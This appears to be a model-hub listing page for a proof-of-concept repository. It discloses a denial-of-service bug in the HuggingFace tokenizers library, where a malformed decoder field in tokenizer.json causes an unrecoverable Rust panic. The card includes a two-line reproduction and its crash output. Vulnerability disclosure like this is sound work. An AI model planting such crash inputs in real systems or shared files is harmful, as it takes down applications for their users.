Downloads · 30 days
0
tokenizers-decoder-panic-poc
xiaoyaoes/tokenizers-decoder-panic-poc
tokenizers-decoder-panic-poc is a machine learning model from xiaoyaoes. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
PoC for: Denial of Service via Rust Panic in HuggingFace tokenizers Decoder Deserialization
Access
Public
Updated Jun 21, 2026
Repo size
—
Likes
0
Public
Repo makeup
Click a slice to open those files.
Other1.5 KB · 65%
At a glance
- Access
- Public
- Created
- Jun 21, 2026
- Updated
- Jun 21, 2026
- SHA
- 1ac5580b
Model card
From the Hugging Face model README
tokenizers-decoder-panic-poc
PoC for: Denial of Service via Rust Panic in HuggingFace tokenizers Decoder Deserialization
Impact: Loading this tokenizer.json file causes an unrecoverable Rust panic (SIGABRT) at decoders/mod.rs:90, crashing any application that uses huggingface/tokenizers.
File: tokenizer.json — contains malformed decoder field that triggers .expect("Helper") panic.
Affected versions: 0.1.0 through latest (0.23.2-dev.0)
Root cause: decoders/mod.rs line 90 uses .expect("Helper") instead of proper ? error handling.
PoC:
from tokenizers import Tokenizer
Tokenizer.from_str('{"decoder":[}}}')
# Result: thread 'main' panicked at tokenizers/src/decoders/mod.rs:90:63:
# "Helper: Error(\"expected value\", line: 1, column: 13)"
- Created
- Jun 21, 2026
- Updated
- Jun 21, 2026